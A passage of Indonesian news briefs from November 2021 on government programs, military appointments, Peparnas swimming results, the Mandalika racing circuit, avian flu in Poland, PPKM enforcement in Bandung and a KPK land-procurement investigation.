Kementerian Desa, Pembangunan Daerah Tertinggal, dan Transmigrasi pada Kamis (4/11). "Smart village" yang diikutkan dengan adanya sarana penunjang teknologi informasi, diharapkan menjadi satu loncatan untuk mempercepat pembangunan daerah dan pelayanan masyarakat. "Dengan program ini masyarakat dapat memanfaatkan sistem teknologi informasi atau layanan digital, untuk menopang kegiatan perekonomian," kata Ridha Saleh. Olehnya, Ridha Saleh menyebut, Gubernur Sulteng Rusdy Mastura sangat berharap satuan kerja perangkat daerah (SKPD) terkait segera mewujudkan "smart village" yang diawali dengan penyediaan layanan berbasis teknologi informasi kepada masyarakat. (mth)

Wapres: Jangan Sampai Fatwa MUI Tak Berlandaskan Sisdur

Jakarta, FNN - Wakil Presiden Ma’ruf Amin mengingatkan Komisi Fatwa Majelis Ulama Indonesia (MUI) menerbitkan fatwa jangan sampai tanpa berdasarkan sistem dan prosedur (sisdur) penetapan fatwa. "Sudah menjadi keharusan bagi Komisi Fatwa MUI di semua tingkatan konsisten menjalankan sisdur tersebut. Jangan sampai ada komisi fatwa MUI yang menetapkan fatwa tanpa berlandaskan sisdur tersebut," kata Wapres Ma’ruf dalam sambutannya di acara pembukaan Ijtima’ Ulama Komisi Fatwa se-Indonesia ke-VII Tahun 2021 melalui konferensi video dari Jakarta, Selasa. Ma’ruf Amin, selaku Ketua Dewan Pertimbangan MUI, mengatakan sisdur penetapan fatwa tersebut telah dirumuskan sebagai hasil kajian dari Komisi Fatwa selama ini. "Sisdur tersebut merujuk berbagai referensi serta berpegang teguh pada prinsip moderat yang dianut oleh MUI dan tidak mengambil sikap keras, serta tidak mengambil sikap mempermudah," jelasnya. Wapres Ma’ruf juga mengingatkan apabila terjadi inkonsistensi terhadap penetapan fatwa MUI, maka tindakan tersebut menyalahi manhaj MUI yang sudah disepakati bersama. "Dan keputusan hukumnya tidak punya legitimasi secara organisasi, serta bisa menimbulkan terjadinya perbedaan-perbedaan keputusan fatwa antarkomisi fatwa di lingkungan MUI," tegasnya. Wapres menambahkan berbagai upaya telah dilakukan untuk memberikan solusi terbaik terhadap persoalan yang dihadapi umat Islam melalui penerbitan fatwa MUI. Hal itu, katanya, termasuk pula melakukan telaah ulang terhadap rumusan hukum yang dinilai tidak lagi sesuai dengan kondisi dan situasi sesuai perkembangan saat ini. "Komisi Fatwa telah dengan baik menghadirkan pandangan keagamaan yang sifatnya makhariji, yaitu pandangan keagamaan yang berorientasi pada pencarian solusi terbaik terhadap permasalahan yang dihadapi umat Islam," ujar Wapres. (mth)

Pengamat Sebut 5 Pati TNI AD Berpeluang Jabat Kasad

Jakarta, FNN - Pengamat intelijen dan militer, Susaningtyas NH Kertopati, menyebutkan, ada lima perwira tinggi bintang tiga TNI AD yang memiliki pelung untuk menggantikan Jenderal TNI Andika Perkasa menjadi kepala Staf TNI AD. Sang jenderal bintang empat telah ditunjuk Presiden Joko Widodo sebagai calon panglima TNI untuk menggantikan Marsekal TNI Hadi Tjahjanto yang memasuki masa pensiun pada akhir November 2021 ini. Lima nama itu, kata Susaningtyas, di Jakarta, Selasa, adalah Wakil Menteri Pertahanan, Letnan Jenderal TNI Herindra, Wakil Kepala Staf TNI AD, Letnan Jenderal TNI Bakti Agus Fadjari, Kepala Staf Umum TNI, Letnan Jenderal TNI Eko Margiyono, Kepala BAIS TNI, Letnan Jenderal TNI Joni Supriyanto, dan Panglima Kostrad, Letnan Jenderal TNI Dudung Abdurachman. Ia menjelaskan, Herindra memiliki tingkat pengalaman pendidikan yang bagus dan lulusan terbaik, di antaranya peraih Adi Makayasa lulusan 1987 Akademi Militer. "Wakasad Letjen Agus Fajari bisa saja, tetapi sebentar lagi pensiun. Letjen Eko (Margiyono) Kasum, Letjen Joni (Supriyanto) Ka Bais, Letjen Dudung yang jadi favorit netizen. Semua peluang sama," kata dia. Ia menuturkan, banyak pendapat kalau untuk jabatan panglima TNI atau kepala staf matra TNI hanya mempertimbangkan usia. Padahal, prestasi kerja harus lebih menonjol. "Usia muda bisa lama menjabat, tapi tidak ada prestasinya, khan juga percuma. Apalagi usia tua namun tidak ada prestasi," kata mantan anggota Komisi I DPR ini. Ia menyatakan, secara ideal perwira tinggi yang menduduki jabatan kepala Staf TNI AD diharapkan memiliki kemampuan manajemen tempur dan diplomasi militer yang handal. Calon pembina kekuatan tertinggi TNI AD itu juga diharapkan memiliki pengetahuan intelijen dan cukup memahami perkembangan teknologi pertahanan baru, termasuk siber. Selain itu, kata dia, dapat membangun TNI yang mampu melaksanakan interoperabilitas dan kualitas prajurit TNI dalam hadapi perang siber. Sehingga, kualitasnya perlu ditingkatkan untuk mengawaki teknologi militer terkini. Ia mencontohkan dalam hal pemanfaatan sistem nirawak baik berupa robot maupun kecerdasan buatan dan pertahanan siber. Selain itu, kata dia, perwira tinggi yang menduduki jabatan kepala Staf TNI AD juga diharapkan mengikuti perkembangan lingkungan strategis pada tataran global dan Regional dan meningkatkan fungsi diplomasi pertahanan di tingkat internasional. "Oleh karenanya dibutuhkan sosok Kasad yang memiliki dampak penangkalan bagi petinggi militer internasional seperti halnya tuntutan (terhadap sosok yang menjabat) panglima TNI," katanya. (mth)

Bupati Badung Minta FKUB Terus Ciptakan Kerukunan Umat Beragama

Badung, FNN - Bupati Badung, Bali, I Nyoman Giri Prasta meminta jajaran Pengurus Forum Kerukunan Umat Beragama (FKUB) Badung untuk dapat terus melakukan berbagai program guna menciptakan sinergitas dan kerukunan antar umat beragama. "FKUB harus cerdas melayani masyarakat Badung serta mampu membuat program yang bersentuhan langsung dengan masyarakat," ujar Bupati Giri Prasta dalam keterangan yang diterima di Manguura, Selasa. Menurut dia keberadaan FKUB sangat penting dan ikut berkontribusi dalam pembangunan di Badung karena terciptanya situasi aman dan nyaman tidak terlepas dari tetap terjaganya kerukunan umat beragama. "Kami berharap, kerukunan umat beragama di Badung ini dapat menjadi role model bagi daerah lainnya di Indonesia. Mungkin saja di daerah lain itu ada persoalan antar etnis, tetapi kami tunjukkan di Badung kami solid bergerak dan bersatu membangun Badung," katanya. Pihaknya juga telah mengukuhkan Pengurus Forum Kerukunan Umat Beragama (FKUB) Badung periode tahun 2020-2025 yang diketuai I Wayan Adi Arnawa yang juga merupakan Sekretaris Daerah Badung. Bupati Giri Prasta mengatakan, pengurus FKUB yang dikukuhkan nantinya harus mampu dan berkomitmen untuk memberikan solusi terhadap semua permasalahan yang dihadapi umat beragama di Badung, sehingga Badung dapat berkembang menjadi kabupaten yang cerdas. Selain itu, FKUB juga diminta agar mampu menggerakkan seluruh komponen umat beragama dan memanfaatkan berbagai potensi yang dimiliki. "Ini semua dalam upaya memajukan dan meningkatkan kesejahteraan umat beragama agar keharmonisan masyarakat semakin maju, lebih baik dan mandiri serta bisa mendukung terwujudnya kesejahteraan masyarakat Badung," ungkap Bupati. Pihaknya juga menyambut baik dikukuhkannya pengurus FKUB Badung periode 2020-2025 karena hal itu menurutny merupakan bentuk kepercayaan masyarakat dan amanat umat beragama kepada FKUB untuk melaksanakan tugas yang sangat penting agar menjadi lebih baik lagi. "Pada masa pandemi COVID-19, hendaknya momentum pengukuhan ini dimaknai sebagai titik awal yang baik dalam mengemban tugas-tugas FKUB dalam upaya meningkatkan kerukunan, kedamaian dan kesejahteraan umat beragama," ujar Giri Prasta. (mth)

Investor Hong Kong Tertarik Investasi di Proyek MRT Jakarta

Jakarta, FNN - Investor Hong Kong tertarik untuk berinvestasi di salah satu proyek Moda Raya Terpadu (MRT) Jakarta. "Salah satu proyek MRT Jakarta sudah dapat 'letter of intent' dari investor Hong Kong," kata Pelaksana Tugas Kepala Unit Pelaksana "Jakarta Investment Center" (JIC) Budya Pryanto di Jakarta, Selasa. Menurut dia, investor dari Hong Kong itu sudah memberikan "letter of intent" atau surat/dokumen yang mengatakan ada komitmen awal ketertarikan untuk berinvestasi. Namun, Budya tidak memberikan detail proyek di MRT Jakarta yang menarik minat para investor asing termasuk estimasi nilai proyek. Sebelumnya, Pemprov DKI Jakarta mengadakan seminar virtual terkait investasi pada 13 Oktober 2021 dengan menampilkan proyek yang dikelola BUMD DKI Jakarta di antaranya PT Jakarta Propertindo (Jakpro) dan MRT Jakarta. "Sebulan lalu ada tiga proyek MRT dan Jakpro, informasi kepada kita itu salah satu proyek dari MRT Jakarta sudah dapat 'letter of intent' dari investor Hong Kong ini," katanya. Sementara itu, Pemprov DKI Jakarta menggelar Forum Investasi Jakarta (JIF) 2021 pada 11-12 November 2021 secara virtual. Kepala Dinas Penanaman Modal dan Perizinan Terpadu Satu Pintu (DPMPTSP) Benni Aguscandra dalam pemaparannya menampilkan tujuh proyek infrastruktur yang sudah siap dijajaki di antaranya proyek infrastruktur dari MRT Jakarta, PT Jakarta Propertindo dan Dinas Lingkungan Hidup DKI Jakarta. Adapun tujuh proyek itu, yakni pembangunan area ritel di Stasiun MRT Bundaran HI dengan nilai proyek mencapai Rp50 miliar. Kemudian, MRT Fase 4 rute Fatmawati-Taman Mini Indonesia Indah (TMII) nilai proyek Rp28 triliun, pembangunan kawasan ritel di Stasiun MRT Fatmawati senilai Rp29 miliar. Selanjutnya, proyek LRT Kepala Gading-Jakarta International Stadium (JIS) dengan nilai proyek Rp6,6 triliun, pembangunan kawasan berorientasi Transit (TOD) di Pegangsaan Dua senilai 103 juta hingga 106 juta dolar AS atau setara Rp 1,53 triliun (kurs Rp14.500). Selain itu, proyek Intermediate Treatment Facility (ITF) Bantargebang senilai Rp3,8 triliun hingga Rp4,2 triliun dan proyek pengolahan sampah menghasilkan bahan bakar (Refuse Derived Fuel/RDF) di Bantargebang senilai Rp 1,5 triliun. Apabila dijumlahkan menggunakan perkiraan nilai tertinggi maka estimasi tujuh nilai proyek itu diperkirakan mencapai Rp 41,9 triliun. (mth)

Kalimantan Selatan Raih Dua Emas 100 Meter Gaya Dada Peparnas XVI

Jayapura, FNN -Perlombaan renang hari kedua Pekan Paralimpik Nasional (Peparnas) Papua untuk 100 meter gaya dada memperebutkan empat medali emas dan Kalimantan Selatan meraih dua di antaranya. Dalam lomba yang berlangsung di Arena Akuatik Kampung Harapan, Kabupaten Jayapura, Selasa, dua wakil Kalimantan Selatan menjadi yang terbaik yakni Nor Aimah yang turun pada klasifikasi S7 putri dan Mulyadi yang turun pada klasifikasi S6 putra. Mulyadi menjadi pemenang setelah mencatatkan waktu 1 menit 40,49 detik sekaligus memecahkan rekor milik Toif Fauzi yang tercipta di Peparnas Jawa Barat 2016 dengan 1 menit 48,58 detik Adapun Mulyadi finis pertama dengan mengalahkan Fajar Nur Hadianto asal Jawa Tengah yang finis di posisi kedua usai membukukan 1 menit 49,69 detik dan Bambang Triyanto di urutan ketiga dengan 1 menit 50,66 detik. Sementara Nor Aimah meraih emas setelah menyelesaikan lomba dengan catatan waktu 1 menit 53,49 detik. Dia mengalahkan dua wakil Jawa Tengah yakni Siti Alfiah dan Amanda Nur Safirtri. Sedangkan dua emas nomor 100 meter gaya dada masing-masing diraih wakil Kalimantan Barat Simson Abraham (klasifikasi S5) dan atlet asal Jawa Barat Sofyan (S7). Berikut hasil lengkap lomba 100 meter gaya dada Peparnas Papua: 100 meter gaya dada S5 putra 1. Simson Abraham S. ( Kalimantan Barat) - 2:01,90 2. Boy Levinus Wardy (Papua Barat) - 2:03,22 3. Feri Anggara (DKI Jakarta) - 2:27,60 100 meter gaya dada putri S7 1. Nor Aimah (Kalimantan Selatan) - 1:53,49 2. Siti Alfiah (Jawa Tengah) - 1:54,56 3. Amanda Nur Safirtri (Jawa Tengah) - 2:09,98 100 meter gaya dada putra S6 1. Mulyadi (Kalimantan Selatan) - 1:40,49 2. Fajar Nur Hadianto (Jawa Tengah) - 1:49,69 3. Bambang Triyanto (DKI Jakarta) - 1:50,66 100 meter gaya dada putra S7 1. Sofyan (Jawa Barat) 1:49,65 2. Muhamad Ali Mahfud (Jawa Timur) 1:53,52 3. Miswan (Jawa Tengah) 1:58,22 (mth)

Sri Mulyani Sebut APBN Berperan Perangi Dampak Covid 19

Jakarta, FNN - Menteri Keuangan Sri Mulyani Indrawati menyebutkan keuangan negara atau anggaran pendapatan dan belanja negara (APBN) sangat berperan dalam memerangi dampak pandemi Covid-19 yang telah berlangsung hampir dua tahun. "Pemerintah menggunakan instrumen atau alat yang penting yaitu keuangan negara. Keuangan negara menjadi alat yang diandalkan. Kita sering menyebutnya APBN," katanya dalam acara Kemenkeu Mengajar di Jakarta, Selasa, 9 November 2021. Sri Mulyani menyatakan negara memiliki instrumen berupa APBN untuk membantu rakyat mengingat krisis kesehatan ini telah berdampak luar biasa buruk baik dari sisi ekonomi, sosial, hingga pendidikan. Banyak masyarakat yang kehilangan pekerjaan dan pendapatan bahkan para siswa yang tidak bisa bersekolah secara tatap muka juga berdampak pada terhentinya kegiatan perekonomian di sekolah. Hal itu merupakan implikasi dari kebijakan pembatasan mobilitas demi menekan penyebaran Covid-19. Pemerintah pun dituntut untuk mampu menyeimbangkan pemulihan antara kesehatan dan kesejahteraan masyarakat menggunakan APBN ini. "Tidak mungkin pemerintah memilih menyelamatkan rakyat dari ancaman Covid-19 atau menyelamatkan perekonomian karena keduanya adalah penting dan saling mempengaruhi," tegasnya, sebagaimana dikutip dari Antara. Oleh sebab itu, APBN menjadi instrumen pemerintah untuk membantu masyarakat di tengah kemerosotan ekonomi melalui berbagai program. Manfaat APBN di antaranya menjaga pemenuhan kebutuhan pokok masyarakat melalui program keluarga harapan (PKH) dan menjamin pemenuhan kebutuhan pangan dengan bantuan sembako. APBN juga menjaga generasi muda tetap belajar dengan subsidi kuota internet dan mendukung kesejahteraan pendukung layanan publik melalui bantuan gaji honorer. Kemudian meringankan beban dan membangkitkan ekonomi melalui diskon listrik, menjamin masyarakat desa bertahan dengan BLT dana desa serta mengembangkan kompetensi dan profesi tenaga kerja melalui kartu prakerja. Selanjutnya, menjaga daya beli masyarakat dengan bantuan sosial tunai Jabodetabek dan non-Jabodetabek serta memastikan tenaga kerja tetap produktif dengan subsidi gaji. APBN juga menjaga UMKM agar tetap bertahan dengan bantuan produktif ultramikro (BPUM), memberikan keringanan beban dengan subsidi bunga dan subsidi pajak sekaligus penjaminan kredit. Uang negara pun digunakan untuk mendorong ekspansi kredit melalui penempatan dana PEN serta mendukung bertahannya sektor produksi melalui penjaminan korporasi, PMN dan investasi BUMN. Berikutnya, membangun dan menggerakkan ekonomi dengan padat karya kementerian/lembaga, membangkitkan sektor riil melalui insentif perumahan serta pembiayaan kreatif daerah dengan fasilitas pinjaman daerah. Tak hanya itu, APBN digunakan juga untuk membangkitkan ekonomi kreatif dengan insentif pariwisata serta mendorong daerah bangkit dengan cadangan DAK fisik dan DID pemulihan ekonomi. Selain itu, APBN turut mendukung pemulihan di bidang kesehatan berupa apresiasi tenaga kerja kesehatan melalui pemberian insentif dan santunan. Negara pun hadir membantu masyarakat dengan biaya perawatan pasien Covid-19 dan menjamin akses kesehatan melalui bantuan iuran JKN sekaligus vaksinasi. Semua program tersebut masuk dalam program Pemulihan Ekonomi Nasional (PEN) yang per 5 November 2021 telah terserap Rp 456,35 triliun atau 61,3 persen dari pagu Rp 744,77 triliun. "Pemerintah menggunakan keuangan negara untuk membantu masyarakat. Tadi yang mereka merosot kehidupannya, kita data, datanya diperbarui dan diberikan bantuan," tegasnya. (MD).

Perupa Sumbar Harapkan Pameran Seni Digelar Setiap Tahun

Payakumbuh, FNN - Maestro pematung Yusman menginginkan pameran seni rupa yang dilaksanakan oleh Pemerintah Provinsi Sumatera melalui UPTD Taman Budaya Sumatera Barat dapat digelar setiap tahunnya sehingga dapat membangkitkan kembali seni rupa di daerah tersebut. "Saya harap kegiatan ini hanya awal dan dapat dilaksanakan secara berkelanjutan. Seniman Sumbar yang namanya sudah besar banyak yang berdomisili di daerah lain di luar Sumbar," ujarnya saat pelaksanaan Pameran Besar Seni Rupa Sumbar di Payakumbuh, Selasa (9/11). Menurut dia kegiatan ini dapat menjadi ajang silaturahmi bagi para perupa Sumbar yang namanya telah besar di Indonesia bahkan dunia dengan perupa di Sumbar. "Sebagai daerah yang telah melahirkan perupa dan seniman besar di Indonesia yang karyanya sudah diakui di dunia, tentu kita harus membesarkan seni di Sumbar," katanya. Pada Pameran Besar Seni Rupa Sumbar yang difasilitasi UPTD Taman Budaya tersebut dan diinisiasi oleh Ketua DPRD Sumbar, Supardi tersebut akan menampilkan hasil karya pematung ternama Yusman, Amir Syarif, Ardim, Firman Ismail, Rizal MS, Hendra Buana, Hendra Sardi, Ismet Sajo, Maryeni, Widdi Yanti, Hidayat Di Kincie, dan beberapa perupa lain. Ketua DPRD Sumbar Supardi mengatakan Sumbar memiliki banyak maestro perupa yang dikenal di Indonesia bahkan dunia. Maestro perupa asal Sumbar tersebar di berbagai daerah Indonesia seperti Yogyakarta, Bandung dan lainnya. "Mereka sudah lama ingin berkarya di ranah Minang, bahkan Maestro Yusman sudah menyampaikan minatnya ke pemerintah ingin membawa generasi muda yang berbakat di Sumbar untuk dilatih secara gratis," katanya didampingi Kepala Dinas Kebudayaan Sumbar Gemala Ranti. Ia mengatakan banyak hal yang bisa didapatkan dari kegiatan Pameran Besar Seni Rupa Sumbar salah satunya untuk mengajak maestro untuk mengabdi memberikan ilmu kepada generasi muda di ranah Minang. "Pengalaman dari maestro asal Sumbar yang telah terkenal di dunia ini sangat dibutuhkan untuk generasi muda kita di Sumbar sehingga nantinya makin banyak lahir perupa hebat di Sumbar," ujarnya. Supardi mengatakan ke depannya tidak hanya untuk seni rupa menutup kemungkinan akan digelar kegiatan kesenian lainnya. "Bisa jadi kegiatan kesenian ini kita jadikan kalender tahunan, tidak hanya seni rupa. Kita gilir ini diberbagai daerah lainnya di Sumbar, tidak hanya di Kota Payakumbuh. Kegiatan pertama ini baru awal dan contoh," ungkapnya. (mth)

NTB Gelar Pengecekan Akhir Persiapan Sirkuit Mandalika

Mataram, FNN - Pemerintah daerah bersama seluruh pemangku kepentingan di wilayah Nusa Tenggara Barat menggelar pengecekan akhir dari persiapan segala kebutuhan dalam ajang balap motor kelas dunia yang akan terlaksana perdana di Mandalika International Street Circuit. "Kami kroscek kembali, semua stakeholder. Apakah masih ada masalah atau tidak," kata Kapolda NTB Irjen Pol Mohammad Iqbal usai memimpin acara "Final Check Meeting" perhelatan Idemitsu Asia Talent Cup (IATC) 2021, World Superbike (WorldSBK) 2021, dan MotoGP 2022 bersama seluruh pemangku kepentingan di wilayah NTB, di Mataram, Selasa. Secara umum, Iqbal melihat seluruh pihak yang terlibat dalam perhelatan ini sudah siap. Tidak terkecuali, kata dia, Dorna Sports dan Mandalika Grand Prix Association (MGPA) sebagai pihak penyelenggara inti dari IATC 2021, WSBK 2021 dan MotoGP 2022. Begitu juga dengan persiapan dari pihak pengelola Kawasan Ekonomi Khusus (KEK) Mandalika, PT Pengembangan Pariwisata Indonesia atau Indonesia Tourism Development Coporation (ITDC), serta salah satu agen resmi dari penjualan tiket, PT Dyandra Promosindo. "Secara umum Provinsi NTB sudah siap jadi tuan rumah IATC dan WSBK. Insya Allah demikian juga untuk MotoGP 2022 nanti," ucap dia. Danrem 162/Wira Bhakti Brigjen TNI Ahmad Rizal Ramdhani yang mendampingi Kapolda NTB turut menyampaikan bentuk kesiapan pihaknya dalam menyukseskan ajang balap motor bergengsi ini. "Kaitan dengan TNI untuk operasi dukungan ini apabila ada kontingensi, misalnya, bencana alam. Kaitan dengan itu, kita lakukan latihan secara gabungan maupun parsial," kata Rizal. Termasuk antisipasi kontingensi lainnya, seperti evakuasi korban bencana serta penyelamatan korban dalam insiden kecelakaan. "Bentuknya (persiapan) kita lakukan dengan simulasi. Ini semua kita laksanakan sesuai tahapan yang ditentukan panitia maupun SOP dari satuan TNI, Polri," ucapnya. Hal senada turut disampaikan Sekda NTB Lalu Gita Aryadi. Dia melihat seluruh persiapan lapangan sudah matang. Termasuk soal persiapan sarana di bidang penanggulangan kesehatan. "Tadi kadikes juga sudah berkoordinasi dengan rumah sakit, manakala nantinya kontingensi terjadi. Bentuknya koordinasi lintas wilayah. Jadi yang nampak dan tidak nampak kita antisipasi," kata Gita. Terakhir, Head of Hospitality Mandalika Grand Prix Association (MGPA) Rully Habibie menyampaikan ucapan terima kasih kepada pemerintah daerah maupun seluruh pemangku kepentingan di wilayah NTB yang sampai saat ini masih terus menunjukkan eksistensinya untuk menyukseskan perhelatan balap motor kelas dunia di Sirkuit Mandalika. "Koordinasi dengan TNI, Polri, provinsi, kabupaten, kota, sudah berjalan dengan baik. Untuk itu kami akan terus berusaha sebaik mungkin agar 'event' ini bisa terlaksana dengan harapan kedepan mampu meningkatkan perekonomian masyarakat sekaligus mempromosikan NTB sebagai salah satu destinasi baru," kata Rully. Dalam acara "Final Check Meeting" perhelatan IATC 2021, WorldSBK 2021, dan MotoGP 2022, seluruh perwakilan dari pemangku kepentingan, baik dalam hal pengamanan serta kelancaran ajang balap motor kelas dunia itu turut hadir. Acaranya langsung dibuka oleh Gubernur NTB Zulkieflimansyah yang selanjutnya dalam giat pertemuannya diwakilkan oleh Sekda NTB Lalu Gita Aryadi. Sebagai bentuk dukungan dari suksesnya acara tersebut, usai pertemuan dalam pembahasan akhir dari persiapannya, seluruh pemangku kepentingan turut membubuhkan tanda tangan ke papan yang bertuliskan "penandatanganan kesiapan Provinsi NTB siap menjadi tuan rumah 'event' IATC 2021, WorldSBK 2021, dan MotoGP 2022". (sws)

Flu Burung Menyebar ke Polandia

Paris, FNN - Polandia melaporkan sejumlah wabah flu burung H5N1 sangat patogen di peternakan unggas, dengan jumlah keseluruhan hampir mencapai 650.000 burung, menurut Organisasi Kesehatan Hewan Dunia (OIE), Senin (8/11). Polandia merupakan penghasil unggas terbesar di Uni Eropa. Lima wabah, yakni empat di peternakan kalkun dan satu di peternakan ayam broiler, ditemukan di wilayah timur. Wabah lainnya muncul di peternakan kalkun dan angsa di wilayah barat, kata OIE, mengutip laporan otoritas Polandia. Flu burung, yang kebanyakan dibawa dari satu negara ke negara lain lewat migrasi burung liar, menyebar pesat di Eropa. Kondisi itu menimbulkan kekhawatiran bagi kalangan industri unggas setelah wabah sebelumnya menyebabkan pemusnahan ratusan juta burung dan pembatasan perdagangan internasional. Pemerintah Prancis pada Jumat menyatakan status waspada tinggi flu burung, memperpanjang keharusan untuk menjaga semua kawanan unggas di dalam ruangan. Keharusan ini muncul setelah otoritas Belanda bulan lalu juga memerintahkan peternak komersial agar menjaga semua ternaknya di dalam ruangan usai adanya laporan flu burung di sebuah peternakan. Sementara itu, wabah flu burung H5 sangat patogen dilaporkan di sebuah unit peternakan kecil di Inggris tengah pada Senin. Otoritas Inggris pekan lalu menyatakan Zona Pencegahan Flu Burung nasional, yang memerintahkan pemilik ternak dan burung agar memperketat langkah-langkah keamanan hayati. mth)

Satpol PP Benarkan Pernyataan Luhut Soal Bar Langgar PPKM di Bandung

Bandung, FNN - Kepala Satuan Polisi Pamong Praja (Satpol PP) Kota Bandung Rasdian Setiadi membenarkan pernyataan dari Menko Kemaritiman dan Investasi Luhut Binsar Pandjaitan soal adanya bar dan klab malam yang melanggar aturan PPKM di Bandung. Menurut Rasdian, di masa Pemberlakuan Pembatasan Kegiatan Masyarakat (PPKM) yang diperlonggar ini ada beberapa bar yang seperti bermain kucing-kucingan dengan petugas Satpol PP, sehingga ketertiban itu hanya dilakukan saat ada petugas yang mengawasi. "Kami juga tidak bisa mengawasi selama 24 jam, tapi kita akali dengan pengawasan di jam-jam tertentu seperti di jam 23.00 hingga jam 00.00 WIB," kata Rasdian di Bandung, Jawa Barat, Selasa. Rasdian mengatakan pihaknya pun berupaya sedemikian rupa agar pengawasan itu dapat secara mendadak dilakukan. Sejauh ini, kata dia, aparat gabungan baik dari unsur TNI maupun Polri juga kerap turut terlibat dalam pengawasan tersebut. "Ada kita gabungan memang seperti itu, kita bergeraknya juga langsung, kita apel dan langsung berangkat," kata dia. Sejauh ini, menurutnya ada sebanyak empat bar yang telah disegel oleh pihaknya karena melanggar aturan PPKM atau Peraturan Wali Kota (Perwal). "Kita baru menemukan empat pelanggaran, kalau yang lainnya baru peringatan secara lisan," kata dia. Sejumlah bar tersebut, kata dia, melakukan pelanggaran karena beroperasi melebih pukul 00.00 WIB. Sehingga mereka diberi sanksi penyegelan selama 14 hari dan harus membayar denda. Terkait pernyataan Luhut soal oknum yang mengabaikan aturan PeduliLindungi, Rasdian mengatakan nantinya baik pengunjung maupun pengujinya bakal dikenakan sanksi apabila melanggar ketentuan. "Jadi nanti juga dikenakan denda perorangan, pengelolanya dan pengunjungnya," katanya. Untuk itu, ia mengimbau kepada masyarakat agar selalu menerapkan protokol kesehatan dengan ketat. Di masa kasus COVID-19 yang lebih rendah dari sebelumnya ini, menurutnya masyarakat tidak boleh lengah. "Apa yang ada di Inmendagri (Intruksi Menteri Dalam Negeri) dan Perwal, itu yang harus diterapkan ketat, termasuk aplikasi PeduliLindungi," kata Rasdian. Sebelumnya, Luhut yang juga sekaligus Koordinator PPKM Jawa-Bali mengungkapkan timnya menemukan beberapa bar dan kelab malam di Bandung yang beroperasi di luar ketentuan. Bar-bar tersebut melakukan pelanggaran mulai dari melebihi ketentuan jam operasional, menerima pengunjung melebihi batas, dan mengabaikan penggunaan PeduliLindungi. "Mereka juga melakukan berbagai cara untuk mengelabui petugas di antaranya mematikan lampu depan, memisahkan tempat parkir mobil dari lokasi hingga tidak memperbolehkan pengunjung untuk mengambil gambar," kata Luhut, Senin. (sws)

1.500 Personel Gabungan Amankan Lomba Balap Dunia WSBK di Mandalika

Jakarta, FNN - Sebanyak 1.500 personel gabungan TNI-Polri dikerahkan untuk mengamankan lomba balap dunia World Superbike (WSBK) 2021 di Sirkuit Mandalika, Kabupaten Lombok, Nusa Tenggara Barat (NTB). Asisten Kapolri Bidang Operasi (Asops) Irjen Pol Imam Sugianto menyebutkan ada dua lomba balap dunia yang perhelatannya berlangsung November 2021 ini, yakni IATC pada 12-14 November 2021 dan FIM MOTUL WSBK pada 19-21 November 2021. "Diperkirakan ada 1.500-an personel ya. Itu juga termasuk melibatkan TNI," kata Imam saat dikonfirmasi di Jakarta, Selasa. Menurut Imam, pengamanan tersebut melibatkan jajaran kepolisian dari Polda NTB beserta polres jajarannya. Selain personel, pengamanan juga melibatkan armada operasional, seperti helikopter dan kapal juga disiagakan demi kelancaran kegiatan bertaraf internasional tersebut. "Polda jajaran NTB kami kerahkan kira-kira 1.000-an. Kemudian bantuan kendali operasi (BKO-red), helikopter, kapal, Polair, dan Brimob. Tapi Brimob-nya tidak terlalu menonjol di sana," kata Imam. Kesiapan pengamanan lomba balap dunia ini pun telah dilakukan oleh Polda NTB dan jajaran dengan menggelar latihan perdana untuk pengamanan kontingensi dalam perhelatan World Superbike 2021 di Sirkuit Mandalika. Latihan tersebut akan terus berlanjut. Bahkan dalam waktu dekat, akan ada latihan lintas sektoral. Seluruh pihak terkait akan dihadirkan dalam latihan tersebut. Sebelumnya, Kapolri Jenderal Pol Listyo Sigit Prabowo menekankan pentingnya akselerasi atau percepatan program vaksinasi di NTB menjelang diadakannya Asian Talent Cup dan World Superbike Championship (WSBK) di Sirkuit Mandalika. NTB diketahui akan menjadi tuan rumah tiga lomba balap dunia, mulai pertengahan November hingga awla 2022 mendatang. Selain Idemitsu Asia Talent Cup (IATC) dan FIM MOTUL World Superbike (WSBK), juga ada FIM MotoGP World Championship (MotoGP) Seri Indonesia pada Maret 2022. Kapolri meminta seluruh pihak termasuk unsur TNI, Polri, dinas kesehatan, relawan, tokoh masyarakat dan agama bekerja sama dalam mempercepat vaksinasi COVID-19. Dengan akselerasi vaksinasi, eks Kapolda Banten tersebut mengatakan kekebalan komunal bisa segera terwujud. Sehingga, pelaksanaan event internasional dapat berjalan baik dari segi keamanan dan kesehatan. Selain akselerasi vaksinasi, Sigit juga menegaskan pentingnya penguatan protokol kesehatan di masyarakat. Sebab, langkah itu masih menjadi upaya nyata mencegah laju penyebaran COVID-19. Kapolri optimistis pelaksanaan event berskala internasional di NTB bakal berjalan dengan aman dan memerhatikan faktor kesehatan. Hal itu sebagaimana kesuksesan kegiatan Pekan Olahraga Nasional (PON) XX di Papua beberapa waktu lalu. "Beberapa waktu lalu PON XX berjalan baik dengan tetap menjaga prokes. Alhamdulillah untuk laju COVID-19 pada saat itu betul-betul bisa kelola, sehingga tidak muncul gelombang ketiga," ujar Sigit, Miggu (7/11). (sws)

KPK Panggil Kepala SMKN 7 Tangsel Terkait Kasus Pengadaan Tanah

Jakarta, FNN - Komisi Pemberantasan Korupsi (KPK), Selasa, memanggil enam saksi dalam penyidikan kasus dugaan korupsi pengadaan tanah untuk pembangunan SMKN 7 Tangerang Selatan (Tangsel) di Dinas Pendidikan dan Kebudayaan Provinsi Banten Tahun Anggaran 2017. Salah satu yang dipanggil adalah Kepala Sekolah Menengah Kejuruan Negeri (SMKN) 7 Tangsel Aceng Haruji. Pemeriksaan enam saksi dilakukan di Kantor Imigrasi Kelas I Non-Tempat Pemeriksaan Imigrasi (TPI) Serang, Banten. "Hari ini, pemeriksaan saksi penyidikan perkara terkait dugaan terkait pengadaan tanah untuk pembangunan SMKN 7 Tangerang Selatan pada Dinas Pendidikan dan Kebudayaan Provinsi Banten Tahun Anggaran 2017 bertempat di Kantor Imigrasi Kelas I Non-TPI Serang," ucap Plt Juru Bicara KPK Ali Fikri dalam keterangannya di Jakarta, Selasa. Lima saksi lain yang dipanggil, yakni Lurah Rengas Agus Salim, Camat Ciputat Timur Durahman, Sekretaris Dinas Perpustakaan dan Arsip Provinsi Banten Ardius Prihantono, Kepala Dinas Pendidikan dan Kebudayaan Provinsi Banten Engkos Kosasih Samanhudi, dan Ketua Tim Audit Inspektorat Banten Vera Nur Hayati. Diketahui, KPK sedang melakukan penyidikan kasus dugaan korupsi pengadaan tanah pembangunan SMKN 7 Tangsel 